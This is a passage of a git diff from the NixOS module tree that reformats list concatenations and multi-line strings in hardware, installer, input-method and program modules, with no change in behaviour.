+      "pata_sl82c105"
+      "pata_triflex"
+      "pata_via"
+      "pata_winbond"
 
-        # SCSI support (incomplete).
-        "3w-9xxx"
-        "3w-xxxx"
-        "aic79xx"
-        "aic7xxx"
-        "arcmsr"
-        "hpsa"
+      # SCSI support (incomplete).
+      "3w-9xxx"
+      "3w-xxxx"
+      "aic79xx"
+      "aic7xxx"
+      "arcmsr"
+      "hpsa"
 
-        # USB support, especially for booting from USB CD-ROM
-        # drives.
-        "uas"
+      # USB support, especially for booting from USB CD-ROM
+      # drives.
+      "uas"
 
-        # SD cards.
-        "sdhci_pci"
+      # SD cards.
+      "sdhci_pci"
 
-        # NVMe drives
-        "nvme"
+      # NVMe drives
+      "nvme"
 
-        # Firewire support.  Not tested.
-        "ohci1394"
-        "sbp2"
+      # Firewire support.  Not tested.
+      "ohci1394"
+      "sbp2"
 
-        # Virtio (QEMU, KVM etc.) support.
-        "virtio_net"
-        "virtio_pci"
-        "virtio_mmio"
-        "virtio_blk"
-        "virtio_scsi"
-        "virtio_balloon"
-        "virtio_console"
+      # Virtio (QEMU, KVM etc.) support.
+      "virtio_net"
+      "virtio_pci"
+      "virtio_mmio"
+      "virtio_blk"
+      "virtio_scsi"
+      "virtio_balloon"
+      "virtio_console"
 
-        # VMware support.
-        "mptspi"
-        "vmxnet3"
-        "vsock"
-      ]
-      ++ lib.optional platform.isx86 "vmw_balloon"
-      ++ lib.optionals (pkgs.stdenv.hostPlatform.isi686 || pkgs.stdenv.hostPlatform.isx86_64) [
-        "vmw_vmci"
-        "vmwgfx"
-        "vmw_vsock_vmci_transport"
+      # VMware support.
+      "mptspi"
+      "vmxnet3"
+      "vsock"
+    ]
+    ++ lib.optional platform.isx86 "vmw_balloon"
+    ++ lib.optionals (pkgs.stdenv.hostPlatform.isi686 || pkgs.stdenv.hostPlatform.isx86_64) [
+      "vmw_vmci"
+      "vmwgfx"
+      "vmw_vsock_vmci_transport"
 
-        # Hyper-V support.
-        "hv_storvsc"
-      ]
-      ++ lib.optionals pkgs.stdenv.hostPlatform.isAarch [
-        # Allwinner support
-        # Required for early KMS
-        "sun4i-drm"
-        "sun8i-mixer" # Audio, but required for kms
+      # Hyper-V support.
+      "hv_storvsc"
+    ]
+    ++ lib.optionals pkgs.stdenv.hostPlatform.isAarch [
+      # Allwinner support
+      # Required for early KMS
+      "sun4i-drm"
+      "sun8i-mixer" # Audio, but required for kms
 
-        # PWM for the backlight
-        "pwm-sun4i"
+      # PWM for the backlight
+      "pwm-sun4i"
 
-        # Broadcom
-        "vc4"
-      ]
-      ++ lib.optionals pkgs.stdenv.hostPlatform.isAarch64 [
-        # Most of the following falls into two categories:
-        #  - early KMS / early display
-        #  - early storage (e.g. USB) support
+      # Broadcom
+      "vc4"
+    ]
+    ++ lib.optionals pkgs.stdenv.hostPlatform.isAarch64 [
+      # Most of the following falls into two categories:
+      #  - early KMS / early display
+      #  - early storage (e.g. USB) support
 
-        # Broadcom
+      # Broadcom
 
-        "pcie-brcmstb"
+      "pcie-brcmstb"
 
-        # Rockchip
-        "dw-hdmi"
-        "dw-mipi-dsi"
-        "rockchipdrm"
-        "rockchip-rga"
-        "phy-rockchip-pcie"
-        "pcie-rockchip-host"
+      # Rockchip
+      "dw-hdmi"
+      "dw-mipi-dsi"
+      "rockchipdrm"
+      "rockchip-rga"
+      "phy-rockchip-pcie"
+      "pcie-rockchip-host"
 
-        # Misc. uncategorized hardware
+      # Misc. uncategorized hardware
 
-        # Used for some platform's integrated displays
-        "panel-simple"
-        "pwm-bl"
+      # Used for some platform's integrated displays
+      "panel-simple"
+      "pwm-bl"
 
-        # Power supply drivers, some platforms need them for USB
-        "axp20x-ac-power"
-        "axp20x-battery"
-        "pinctrl-axp209"
-        "mp8859"
+      # Power supply drivers, some platforms need them for USB
+      "axp20x-ac-power"
+      "axp20x-battery"
+      "pinctrl-axp209"
+      "mp8859"
 
-        # USB drivers
-        "xhci-pci-renesas"
+      # USB drivers
+      "xhci-pci-renesas"
 
-        # Reset controllers
-        "reset-raspberrypi" # Triggers USB chip firmware load.
+      # Reset controllers
+      "reset-raspberrypi" # Triggers USB chip firmware load.
 
-        # Misc "weak" dependencies
-        "analogix-dp"
-        "analogix-anx6345" # For DP or eDP (e.g. integrated display)
-      ];
+      # Misc "weak" dependencies
+      "analogix-dp"
+      "analogix-anx6345" # For DP or eDP (e.g. integrated display)
+    ];
 
     # Include lots of firmware.
     hardware.enableRedistributableFirmware = true;
diff --git a/nixos/modules/hardware/device-tree.nix b/nixos/modules/hardware/device-tree.nix
index 98c7bf1302d0..dab3488b320e 100644
--- a/nixos/modules/hardware/device-tree.nix
+++ b/nixos/modules/hardware/device-tree.nix
@@ -93,7 +93,8 @@ let
           let
             includePaths = [
               "${lib.getDev cfg.kernelPackage}/lib/modules/${cfg.kernelPackage.modDirVersion}/source/scripts/dtc/include-prefixes"
-            ] ++ cfg.dtboBuildExtraIncludePaths;
+            ]
+            ++ cfg.dtboBuildExtraIncludePaths;
             extraPreprocessorFlags = cfg.dtboBuildExtraPreprocessorFlags;
           in
           if o.dtboFile == null then
diff --git a/nixos/modules/hardware/infiniband.nix b/nixos/modules/hardware/infiniband.nix
index 311b91c5c5b2..2726e697c4fa 100644
--- a/nixos/modules/hardware/infiniband.nix
+++ b/nixos/modules/hardware/infiniband.nix
@@ -7,31 +7,30 @@
 let
 
   cfg = config.hardware.infiniband;
-  opensm-services =
-    {
-      "opensm@" = {
-        enable = true;
-        description = "Starts OpenSM Infiniband fabric Subnet Managers";
-        before = [ "network.target" ];
-        unitConfig = {
-          ConditionPathExists = "/sys/class/infiniband_mad/abi_version";
-        };
-        serviceConfig = {
-          Type = "simple";
-          ExecStart = "${pkgs.opensm}/bin/opensm --guid %I --log_file /var/log/opensm.%I.log";
-        };
+  opensm-services = {
+    "opensm@" = {
+      enable = true;
+      description = "Starts OpenSM Infiniband fabric Subnet Managers";
+      before = [ "network.target" ];
+      unitConfig = {
+        ConditionPathExists = "/sys/class/infiniband_mad/abi_version";
       };
-    }
-    // (builtins.listToAttrs (
-      map (guid: {
-        name = "opensm@${guid}";
-        value = {
-          enable = true;
-          wantedBy = [ "machines.target" ];
-          overrideStrategy = "asDropin";
-        };
-      }) cfg.guids
-    ));
+      serviceConfig = {
+        Type = "simple";
+        ExecStart = "${pkgs.opensm}/bin/opensm --guid %I --log_file /var/log/opensm.%I.log";
+      };
+    };
+  }
+  // (builtins.listToAttrs (
+    map (guid: {
+      name = "opensm@${guid}";
+      value = {
+        enable = true;
+        wantedBy = [ "machines.target" ];
+        overrideStrategy = "asDropin";
+      };
+    }) cfg.guids
+  ));
 
 in
 
diff --git a/nixos/modules/hardware/ksm.nix b/nixos/modules/hardware/ksm.nix
index 26b6e6049b97..026ad87c8fc2 100644
--- a/nixos/modules/hardware/ksm.nix
+++ b/nixos/modules/hardware/ksm.nix
@@ -24,13 +24,12 @@ in
     systemd.services.enable-ksm = {
       description = "Enable Kernel Same-Page Merging";
       wantedBy = [ "multi-user.target" ];
-      script =
-        ''
-          echo 1 > /sys/kernel/mm/ksm/run
-        ''
-        + lib.optionalString (cfg.sleep != null) ''
-          echo ${toString cfg.sleep} > /sys/kernel/mm/ksm/sleep_millisecs
-        '';
+      script = ''
+        echo 1 > /sys/kernel/mm/ksm/run
+      ''
+      + lib.optionalString (cfg.sleep != null) ''
+        echo ${toString cfg.sleep} > /sys/kernel/mm/ksm/sleep_millisecs
+      '';
     };
   };
 }
diff --git a/nixos/modules/hardware/logitech.nix b/nixos/modules/hardware/logitech.nix
index d52236e56f82..74c8a230bc46 100644
--- a/nixos/modules/hardware/logitech.nix
+++ b/nixos/modules/hardware/logitech.nix
@@ -80,14 +80,13 @@ in
         ++ lib.optional cfg.wireless.enable pkgs.logitech-udev-rules
         ++ lib.optional cfg.lcd.enable pkgs.g15daemon;
 
-      extraRules =
-        ''
-          # nixos: hardware.logitech.lcd
-        ''
-        + lib.concatMapStringsSep "\n" (
-          dev:
-          ''ACTION=="add", SUBSYSTEMS=="usb", ATTRS{idVendor}=="${vendor}", ATTRS{idProduct}=="${dev}", TAG+="systemd", ENV{SYSTEMD_WANTS}+="${daemon}.service"''
-        ) cfg.lcd.devices;
+      extraRules = ''
+        # nixos: hardware.logitech.lcd
+      ''
+      + lib.concatMapStringsSep "\n" (
+        dev:
+        ''ACTION=="add", SUBSYSTEMS=="usb", ATTRS{idVendor}=="${vendor}", ATTRS{idProduct}=="${dev}", TAG+="systemd", ENV{SYSTEMD_WANTS}+="${daemon}.service"''
+      ) cfg.lcd.devices;
     };
 
     systemd.services."${daemon}" = lib.mkIf cfg.lcd.enable {
diff --git a/nixos/modules/hardware/nfc-nci.nix b/nixos/modules/hardware/nfc-nci.nix
index bb2ce3a9dca0..49d9be94d109 100644
--- a/nixos/modules/hardware/nfc-nci.nix
+++ b/nixos/modules/hardware/nfc-nci.nix
@@ -154,13 +154,12 @@ in
   };
 
   config = lib.mkIf cfg.enable {
-    environment.systemPackages =
-      [
-        pkgs.libnfc-nci
-      ]
-      ++ lib.optionals cfg.enableIFD [
-        pkgs.ifdnfc-nci
-      ];
+    environment.systemPackages = [
+      pkgs.libnfc-nci
+    ]
+    ++ lib.optionals cfg.enableIFD [
+      pkgs.ifdnfc-nci
+    ];
 
     environment.etc = {
       "libnfc-nci.conf".text = generateSettings "nci";
diff --git a/nixos/modules/hardware/system-76.nix b/nixos/modules/hardware/system-76.nix
index 4dc71b9a5098..52a5d9acc5a3 100644
--- a/nixos/modules/hardware/system-76.nix
+++ b/nixos/modules/hardware/system-76.nix
@@ -24,7 +24,8 @@ let
   modules = [
     "system76"
     "system76-io"
-  ] ++ (optional (versionOlder kpkgs.kernel.version "5.5") "system76-acpi");
+  ]
+  ++ (optional (versionOlder kpkgs.kernel.version "5.5") "system76-acpi");
   modulePackages = map (m: kpkgs.${m}) modules;
   moduleConfig = mkIf cfg.kernel-modules.enable {
     boot.extraModulePackages = modulePackages;
diff --git a/nixos/modules/hardware/video/bumblebee.nix b/nixos/modules/hardware/video/bumblebee.nix
index 430013044251..fca939797b69 100644
--- a/nixos/modules/hardware/video/bumblebee.nix
+++ b/nixos/modules/hardware/video/bumblebee.nix
@@ -93,8 +93,7 @@ in
     ];
     boot.kernelModules = lib.optional useBbswitch "bbswitch";
     boot.extraModulePackages =
-      lib.optional useBbswitch kernel.bbswitch
-      ++ lib.optional useNvidia kernel.nvidia_x11.bin;
+      lib.optional useBbswitch kernel.bbswitch ++ lib.optional useNvidia kernel.nvidia_x11.bin;
 
     environment.systemPackages = [
       bumblebee
diff --git a/nixos/modules/hardware/video/nvidia.nix b/nixos/modules/hardware/video/nvidia.nix
index 21a9d35a451c..28752c8f5406 100644
--- a/nixos/modules/hardware/video/nvidia.nix
+++ b/nixos/modules/hardware/video/nvidia.nix
@@ -488,40 +488,37 @@ in
               name = igpuDriver;
               display = offloadCfg.enable;
               modules = lib.optional (igpuDriver == "amdgpu") pkgs.xorg.xf86videoamdgpu;
-              deviceSection =
-                ''
-                  BusID "${igpuBusId}"
-                ''
-                + lib.optionalString (syncCfg.enable && igpuDriver != "amdgpu") ''
-                  Option "AccelMethod" "none"
-                '';
+              deviceSection = ''
+                BusID "${igpuBusId}"
+              ''
+              + lib.optionalString (syncCfg.enable && igpuDriver != "amdgpu") ''
+                Option "AccelMethod" "none"
+              '';
             }
             ++ lib.singleton {
               name = "nvidia";
               modules = [ nvidia_x11.bin ];
               display = !offloadCfg.enable;
-              deviceSection =
-                ''
-                  Option "SidebandSocketPath" "/run/nvidia-xdriver/"
-                ''
-                + lib.optionalString primeEnabled ''
-                  BusID "${pCfg.nvidiaBusId}"
-                ''
-                + lib.optionalString pCfg.allowExternalGpu ''
-                  Option "AllowExternalGpus"
-                '';
-              screenSection =
-                ''
-                  Option "RandRRotation" "on"
-                ''
-                + lib.optionalString syncCfg.enable ''
-                  Option "AllowEmptyInitialConfiguration"
-                ''
-                + lib.optionalString cfg.forceFullCompositionPipeline ''
-                  Option         "metamodes" "nvidia-auto-select +0+0 {ForceFullCompositionPipeline=On}"
-                  Option         "AllowIndirectGLXProtocol" "off"
-                  Option         "TripleBuffer" "on"
-                '';
+              deviceSection = ''
+                Option "SidebandSocketPath" "/run/nvidia-xdriver/"
+              ''
+              + lib.optionalString primeEnabled ''
+                BusID "${pCfg.nvidiaBusId}"
+              ''
+              + lib.optionalString pCfg.allowExternalGpu ''
+                Option "AllowExternalGpus"
+              '';
+              screenSection = ''
+                Option "RandRRotation" "on"
+              ''
+              + lib.optionalString syncCfg.enable ''
+                Option "AllowEmptyInitialConfiguration"
+              ''
+              + lib.optionalString cfg.forceFullCompositionPipeline ''
+                Option         "metamodes" "nvidia-auto-select +0+0 {ForceFullCompositionPipeline=On}"
+                Option         "AllowIndirectGLXProtocol" "off"
+                Option         "TripleBuffer" "on"
+              '';
             };
 
           services.xserver.serverLayoutSection =
@@ -644,16 +641,16 @@ in
 
           hardware.firmware = lib.optional cfg.gsp.enable nvidia_x11.firmware;
 
-          systemd.tmpfiles.rules =
-            [
-              # Remove the following log message:
-              #    (WW) NVIDIA: Failed to bind sideband socket to
-              #    (WW) NVIDIA:     '/var/run/nvidia-xdriver-b4f69129' Permission denied
-              #
-              # https://bbs.archlinux.org/viewtopic.php?pid=1909115#p1909115
-              "d /run/nvidia-xdriver 0770 root users"
-            ]
-            ++ lib.optional (nvidia_x11.persistenced != null && config.virtualisation.docker.enableNvidia)
+          systemd.tmpfiles.rules = [
+            # Remove the following log message:
+            #    (WW) NVIDIA: Failed to bind sideband socket to
+            #    (WW) NVIDIA:     '/var/run/nvidia-xdriver-b4f69129' Permission denied
+            #
+            # https://bbs.archlinux.org/viewtopic.php?pid=1909115#p1909115
+            "d /run/nvidia-xdriver 0770 root users"
+          ]
+          ++
+            lib.optional (nvidia_x11.persistenced != null && config.virtualisation.docker.enableNvidia)
               "L+ /run/nvidia-docker/extras/bin/nvidia-persistenced - - - - ${nvidia_x11.persistenced}/origBin/nvidia-persistenced";
 
           boot = {
diff --git a/nixos/modules/hardware/video/webcam/facetimehd.nix b/nixos/modules/hardware/video/webcam/facetimehd.nix
index 1b666ed95577..61222d93eecf 100644
--- a/nixos/modules/hardware/video/webcam/facetimehd.nix
+++ b/nixos/modules/hardware/video/webcam/facetimehd.nix
@@ -38,7 +38,8 @@ in
 
     hardware.firmware = [
       pkgs.facetimehd-firmware
-    ] ++ lib.optional cfg.withCalibration pkgs.facetimehd-calibration;
+    ]
+    ++ lib.optional cfg.withCalibration pkgs.facetimehd-calibration;
 
     # unload module during suspend/hibernate as it crashes the whole system
     powerManagement.powerDownCommands = ''
diff --git a/nixos/modules/i18n/input-method/default.nix b/nixos/modules/i18n/input-method/default.nix
index 810abe127af4..55441dd83490 100644
--- a/nixos/modules/i18n/input-method/default.nix
+++ b/nixos/modules/i18n/input-method/default.nix
@@ -104,12 +104,11 @@ in
     warnings =
       lib.optional (cfg.enabled != null)
         "i18n.inputMethod.enabled will be removed in a future release. Please use .type, and .enable = true instead";
-    environment.systemPackages =
-      [
-        cfg.package
-      ]
-      ++ lib.optional cfg.enableGtk2 gtk2_cache
-      ++ lib.optional cfg.enableGtk3 gtk3_cache;
+    environment.systemPackages = [
+      cfg.package
+    ]
+    ++ lib.optional cfg.enableGtk2 gtk2_cache
+    ++ lib.optional cfg.enableGtk3 gtk3_cache;
   };
 
   meta = {
diff --git a/nixos/modules/i18n/input-method/fcitx5.nix b/nixos/modules/i18n/input-method/fcitx5.nix
index 9b4284e7ae2e..9f3517dd7771 100644
--- a/nixos/modules/i18n/input-method/fcitx5.nix
+++ b/nixos/modules/i18n/input-method/fcitx5.nix
@@ -147,15 +147,14 @@ in
         ) cfg.settings.addons)
       ];
 
-    environment.variables =
-      {
-        XMODIFIERS = "@im=fcitx";
-        QT_PLUGIN_PATH = [ "${fcitx5Package}/${pkgs.qt6.qtbase.qtPluginPrefix}" ];
-      }
-      // lib.optionalAttrs (!cfg.waylandFrontend) {
-        GTK_IM_MODULE = "fcitx";
-        QT_IM_MODULE = "fcitx";
-      };
+    environment.variables = {
+      XMODIFIERS = "@im=fcitx";
+      QT_PLUGIN_PATH = [ "${fcitx5Package}/${pkgs.qt6.qtbase.qtPluginPrefix}" ];
+    }
+    // lib.optionalAttrs (!cfg.waylandFrontend) {
+      GTK_IM_MODULE = "fcitx";
+      QT_IM_MODULE = "fcitx";
+    };
 
     environment.sessionVariables = lib.mkIf cfg.ignoreUserConfig {
       SKIP_FCITX_USER_PATH = "1";
diff --git a/nixos/modules/i18n/input-method/kime.nix b/nixos/modules/i18n/input-method/kime.nix
index 92dfe4abba76..c579731a965d 100644
--- a/nixos/modules/i18n/input-method/kime.nix
+++ b/nixos/modules/i18n/input-method/kime.nix
@@ -69,14 +69,13 @@ in
       XMODIFIERS = "@im=kime";
     };
 
-    environment.etc."xdg/kime/config.yaml".text =
-      ''
-        daemon:
-          modules: [${lib.concatStringsSep "," imcfg.kime.daemonModules}]
-        indicator:
-          icon_color: ${imcfg.kime.iconColor}
-      ''
-      + imcfg.kime.extraConfig;
+    environment.etc."xdg/kime/config.yaml".text = ''
+      daemon:
+        modules: [${lib.concatStringsSep "," imcfg.kime.daemonModules}]
+      indicator:
+        icon_color: ${imcfg.kime.iconColor}
+    ''
+    + imcfg.kime.extraConfig;
   };
 
   # uses attributes of the linked package
diff --git a/nixos/modules/image/repart-image.nix b/nixos/modules/image/repart-image.nix
index 186edd05ede9..8718d944890f 100644
--- a/nixos/modules/image/repart-image.nix
+++ b/nixos/modules/image/repart-image.nix
@@ -148,16 +148,15 @@ stdenvNoCC.mkDerivation (
     # to the closure that was used to build it
     unsafeDiscardReferences.out = true;
 
-    nativeBuildInputs =
-      [
-        systemd
-        util-linux
-        fakeroot
-      ]
-      ++ lib.optionals (compression.enable) [
-        compressionPkg
-      ]
-      ++ fileSystemTools;
+    nativeBuildInputs = [
+      systemd
+      util-linux
+      fakeroot
+    ]
+    ++ lib.optionals (compression.enable) [
+      compressionPkg
+    ]
+    ++ fileSystemTools;
 
     env = mkfsEnv;
 
@@ -168,22 +167,21 @@ stdenvNoCC.mkDerivation (
     # relative path to the repart definitions that are read by systemd-repart
     finalRepartDefinitions = "repart.d";
 
-    systemdRepartFlags =
-      [
-        "--architecture=${systemdArch}"
-        "--dry-run=no"
-        "--size=auto"
-        "--seed=${seed}"
-        "--definitions=${finalAttrs.finalRepartDefinitions}"
-        "--split=${lib.boolToString split}"
-        "--json=pretty"
-      ]
-      ++ lib.optionals createEmpty [
-        "--empty=create"
-      ]
-      ++ lib.optionals (sectorSize != null) [
-        "--sector-size=${toString sectorSize}"
-      ];
+    systemdRepartFlags = [
+      "--architecture=${systemdArch}"
+      "--dry-run=no"
+      "--size=auto"
+      "--seed=${seed}"
+      "--definitions=${finalAttrs.finalRepartDefinitions}"
+      "--split=${lib.boolToString split}"
+      "--json=pretty"
+    ]
+    ++ lib.optionals createEmpty [
+      "--empty=create"
+    ]
+    ++ lib.optionals (sectorSize != null) [
+      "--sector-size=${toString sectorSize}"
+    ];
 
     dontUnpack = true;
     dontConfigure = true;
@@ -210,27 +208,26 @@ stdenvNoCC.mkDerivation (
       runHook postBuild
     '';
 
-    installPhase =
-      ''
-        runHook preInstall
+    installPhase = ''
+      runHook preInstall
 
-        mkdir -p $out
-      ''
-      # Compression is implemented in the same derivation as opposed to in a
-      # separate derivation to allow users to save disk space. Disk images are
-      # already very space intensive so we want to allow users to mitigate this.
-      + lib.optionalString compression.enable ''
-        for f in ${imageFileBasename}*; do
-          echo "Compressing $f with ${compression.algorithm}..."
-          # Keep the original file when compressing and only delete it afterwards
-          ${compressionCommand} $f && rm $f
-        done
-      ''
-      + ''
-        mv -v repart-output.json ${imageFileBasename}* $out
+      mkdir -p $out
+    ''
+    # Compression is implemented in the same derivation as opposed to in a
+    # separate derivation to allow users to save disk space. Disk images are
+    # already very space intensive so we want to allow users to mitigate this.
+    + lib.optionalString compression.enable ''
+      for f in ${imageFileBasename}*; do
+        echo "Compressing $f with ${compression.algorithm}..."
+        # Keep the original file when compressing and only delete it afterwards
+        ${compressionCommand} $f && rm $f
+      done
+    ''
+    + ''
+      mv -v repart-output.json ${imageFileBasename}* $out
 
-        runHook postInstall
-      '';
+      runHook postInstall
+    '';
 
     passthru = {
       inherit amendRepartDefinitions;
diff --git a/nixos/modules/installer/cd-dvd/iso-image.nix b/nixos/modules/installer/cd-dvd/iso-image.nix
index 35afdc3a3f76..47397b99d922 100644
--- a/nixos/modules/installer/cd-dvd/iso-image.nix
+++ b/nixos/modules/installer/cd-dvd/iso-image.nix
@@ -797,7 +797,8 @@ in
       device = "/iso/nix-store.squashfs";
       options = [
         "loop"
-      ] ++ lib.optional (config.boot.kernelPackages.kernel.kernelAtLeast "6.2") "threads=multi";
+      ]
+      ++ lib.optional (config.boot.kernelPackages.kernel.kernelAtLeast "6.2") "threads=multi";
       neededForBoot = true;
     };
 
@@ -869,7 +870,8 @@ in
 
     environment.systemPackages = [
       grubPkgs.grub2
-    ] ++ lib.optional (config.isoImage.makeBiosBootable) pkgs.syslinux;
+    ]
+    ++ lib.optional (config.isoImage.makeBiosBootable) pkgs.syslinux;
     system.extraDependencies = [ grubPkgs.grub2_efi ];
 
     # In stage 1 of the boot, mount the CD as the root FS by label so
@@ -901,9 +903,10 @@ in
 
     # Closures to be copied to the Nix store on the CD, namely the init
     # script and the top-level system configuration directory.
-    isoImage.storeContents =
-      [ config.system.build.toplevel ]
-      ++ lib.optional config.isoImage.includeSystemBuildDependencies config.system.build.toplevel.drvPath;
+    isoImage.storeContents = [
+      config.system.build.toplevel
+    ]
+    ++ lib.optional config.isoImage.includeSystemBuildDependencies config.system.build.toplevel.drvPath;
 
     # Individual files to be included on the CD, outside of the Nix
     # store on the CD.
diff --git a/nixos/modules/installer/netboot/netboot.nix b/nixos/modules/installer/netboot/netboot.nix
index 4da2c2c82cbb..052d3ea50fc0 100644
--- a/nixos/modules/installer/netboot/netboot.nix
+++ b/nixos/modules/installer/netboot/netboot.nix
@@ -54,7 +54,8 @@ with lib;
       device = "../nix-store.squashfs";
       options = [
         "loop"
-      ] ++ lib.optional (config.boot.kernelPackages.kernel.kernelAtLeast "6.2") "threads=multi";
+      ]
+      ++ lib.optional (config.boot.kernelPackages.kernel.kernelAtLeast "6.2") "threads=multi";
       neededForBoot = true;
     };
 
diff --git a/nixos/modules/installer/sd-card/sd-image-powerpc64le.nix b/nixos/modules/installer/sd-card/sd-image-powerpc64le.nix
index 549bd21f6b08..4f857d0ebc06 100644
--- a/nixos/modules/installer/sd-card/sd-image-powerpc64le.nix
+++ b/nixos/modules/installer/sd-card/sd-image-powerpc64le.nix
@@ -30,26 +30,25 @@
 
   sdImage = {
     populateFirmwareCommands = "";
-    populateRootCommands =
-      ''
-        mkdir -p ./files/boot
-        ${config.boot.loader.generic-extlinux-compatible.populateCmd} \
-          -c ${config.system.build.toplevel} \
-          -d ./files/boot
-      ''
-      # https://github.com/open-power/petitboot/blob/master/discover/syslinux-parser.c
-      # petitboot will look in these paths (plus all-caps versions of them):
-      #  /boot/syslinux/syslinux.cfg
-      #  /syslinux/syslinux.cfg
-      #  /syslinux.cfg
-      + ''
-        mv ./files/boot/extlinux ./files/boot/syslinux
-        mv ./files/boot/syslinux/extlinux.conf ./files/boot/syslinux/syslinux.cfg
-      ''
-      # petitboot does not support relative paths for LINUX or INITRD; it prepends
-      # a `/` when parsing these fields
-      + ''
-        sed -i 's_^\(\W\W*\(INITRD\|initrd\|LINUX\|linux\)\W\)\.\./_\1/boot/_' ./files/boot/syslinux/syslinux.cfg
-      '';
+    populateRootCommands = ''
+      mkdir -p ./files/boot
+      ${config.boot.loader.generic-extlinux-compatible.populateCmd} \
+        -c ${config.system.build.toplevel} \
+        -d ./files/boot
+    ''
+    # https://github.com/open-power/petitboot/blob/master/discover/syslinux-parser.c
+    # petitboot will look in these paths (plus all-caps versions of them):
+    #  /boot/syslinux/syslinux.cfg
+    #  /syslinux/syslinux.cfg
+    #  /syslinux.cfg
+    + ''
+      mv ./files/boot/extlinux ./files/boot/syslinux
+      mv ./files/boot/syslinux/extlinux.conf ./files/boot/syslinux/syslinux.cfg
+    ''
+    # petitboot does not support relative paths for LINUX or INITRD; it prepends
+    # a `/` when parsing these fields
+    + ''
+      sed -i 's_^\(\W\W*\(INITRD\|initrd\|LINUX\|linux\)\W\)\.\./_\1/boot/_' ./files/boot/syslinux/syslinux.cfg
+    '';
   };
 }
diff --git a/nixos/modules/installer/sd-card/sd-image.nix b/nixos/modules/installer/sd-card/sd-image.nix
index ff690bac5c7c..843d1bce4744 100644
--- a/nixos/modules/installer/sd-card/sd-image.nix
+++ b/nixos/modules/installer/sd-card/sd-image.nix
@@ -228,7 +228,8 @@ in
           libfaketime
           mtools
           util-linux
-        ] ++ lib.optional config.sdImage.compressImage zstd;
+        ]
+        ++ lib.optional config.sdImage.compressImage zstd;
 
         inherit (config.sdImage) compressImage;
 
diff --git a/nixos/modules/misc/documentation.nix b/nixos/modules/misc/documentation.nix
index 7545bbd4d7db..3a60ae3286d2 100644
--- a/nixos/modules/misc/documentation.nix
+++ b/nixos/modules/misc/documentation.nix
@@ -77,7 +77,8 @@ let
             {
               _module.check = false;
             }
-          ] ++ docModules.eager;
+          ]
+          ++ docModules.eager;
           class = "nixos";
           specialArgs = specialArgs // {
             pkgs = scrubDerivations "pkgs" pkgs;
diff --git a/nixos/modules/profiles/installation-device.nix b/nixos/modules/profiles/installation-device.nix
index 3a29f7ab8c90..3280d6edfa00 100644
--- a/nixos/modules/profiles/installation-device.nix
+++ b/nixos/modules/profiles/installation-device.nix
@@ -61,23 +61,22 @@ with lib;
     services.getty.autologinUser = "nixos";
 
     # Some more help text.
-    services.getty.helpLine =
-      ''
-        The "nixos" and "root" accounts have empty passwords.
+    services.getty.helpLine = ''
+      The "nixos" and "root" accounts have empty passwords.
 
-        To log in over ssh you must set a password for either "nixos" or "root"
-        with `passwd` (prefix with `sudo` for "root"), or add your public key to
-        /home/nixos/.ssh/authorized_keys or /root/.ssh/authorized_keys.
+      To log in over ssh you must set a password for either "nixos" or "root"
+      with `passwd` (prefix with `sudo` for "root"), or add your public key to
+      /home/nixos/.ssh/authorized_keys or /root/.ssh/authorized_keys.
 
-        If you need a wireless connection, type
-        `sudo systemctl start wpa_supplicant` and configure a
-        network using `wpa_cli`. See the NixOS manual for details.
-      ''
-      + optionalString config.services.xserver.enable ''
+      If you need a wireless connection, type
+      `sudo systemctl start wpa_supplicant` and configure a
+      network using `wpa_cli`. See the NixOS manual for details.
+    ''
+    + optionalString config.services.xserver.enable ''
 
-        Type `sudo systemctl start display-manager' to
-        start the graphical user interface.
-      '';
+      Type `sudo systemctl start display-manager' to
+      start the graphical user interface.
+    '';
 
     # We run sshd by default. Login is only possible after adding a
     # password via "passwd" or by adding a ssh key to ~/.ssh/authorized_keys.
diff --git a/nixos/modules/programs/cdemu.nix b/nixos/modules/programs/cdemu.nix
index 5496f06de2a1..018e80aa653c 100644
--- a/nixos/modules/programs/cdemu.nix
+++ b/nixos/modules/programs/cdemu.nix
@@ -71,13 +71,12 @@ in
       Restart = "no";
     };
 
-    environment.systemPackages =
-      [
-        pkgs.cdemu-daemon
-        pkgs.cdemu-client
-      ]
-      ++ lib.optional cfg.gui pkgs.gcdemu
-      ++ lib.optional cfg.image-analyzer pkgs.image-analyzer;
+    environment.systemPackages = [
+      pkgs.cdemu-daemon
+      pkgs.cdemu-client
+    ]
+    ++ lib.optional cfg.gui pkgs.gcdemu
+    ++ lib.optional cfg.image-analyzer pkgs.image-analyzer;
   };
 
 }
diff --git a/nixos/modules/programs/dconf.nix b/nixos/modules/programs/dconf.nix
index 4eaa61051e78..767a0bf9632f 100644
--- a/nixos/modules/programs/dconf.nix
+++ b/nixos/modules/programs/dconf.nix
@@ -50,7 +50,8 @@ let
           (pkgs.writeTextDir "locks/nixos-generated-dconf-locks" (
             lib.concatStringsSep "\n" (if val.lockAll then mkAllLocks val.settings else val.locks)
           ))
-        ] ++ (map checkDconfKeyfiles val.keyfiles);
+        ]
+        ++ (map checkDconfKeyfiles val.keyfiles);
       }
     );
 
diff --git a/nixos/modules/programs/firefox.nix b/nixos/modules/programs/firefox.nix
index 2019f1724523..1600d62ad038 100644
--- a/nixos/modules/programs/firefox.nix
+++ b/nixos/modules/programs/firefox.nix
@@ -293,7 +293,8 @@ in
           Additional packages containing native messaging hosts that should be made available to Firefox extensions.
         '';
       };
-    }) // (builtins.mapAttrs (k: v: lib.mkEnableOption "${v.name} support") nmhOptions);
+    })
+    // (builtins.mapAttrs (k: v: lib.mkEnableOption "${v.name} support") nmhOptions);
   };
 
   config =
diff --git a/nixos/modules/programs/htop.nix b/nixos/modules/programs/htop.nix
index 62fb4a4fe57b..358b7c0eae36 100644
--- a/nixos/modules/programs/htop.nix
+++ b/nixos/modules/programs/htop.nix
@@ -63,14 +63,13 @@ in
       cfg.package
     ];
 
-    environment.etc."htoprc".text =
-      ''
-        # Global htop configuration
-        # To change set: programs.htop.settings.KEY = VALUE;
-      ''
-      + builtins.concatStringsSep "\n" (
-        lib.mapAttrsToList (key: value: "${key}=${fmt value}") cfg.settings
-      );
+    environment.etc."htoprc".text = ''
+      # Global htop configuration
+      # To change set: programs.htop.settings.KEY = VALUE;
+    ''
+    + builtins.concatStringsSep "\n" (
+      lib.mapAttrsToList (key: value: "${key}=${fmt value}") cfg.settings
+    );
   };
 
 }
diff --git a/nixos/modules/programs/less.nix b/nixos/modules/programs/less.nix
index 9731276bddcd..dc1643b8a1a6 100644
--- a/nixos/modules/programs/less.nix
+++ b/nixos/modules/programs/less.nix
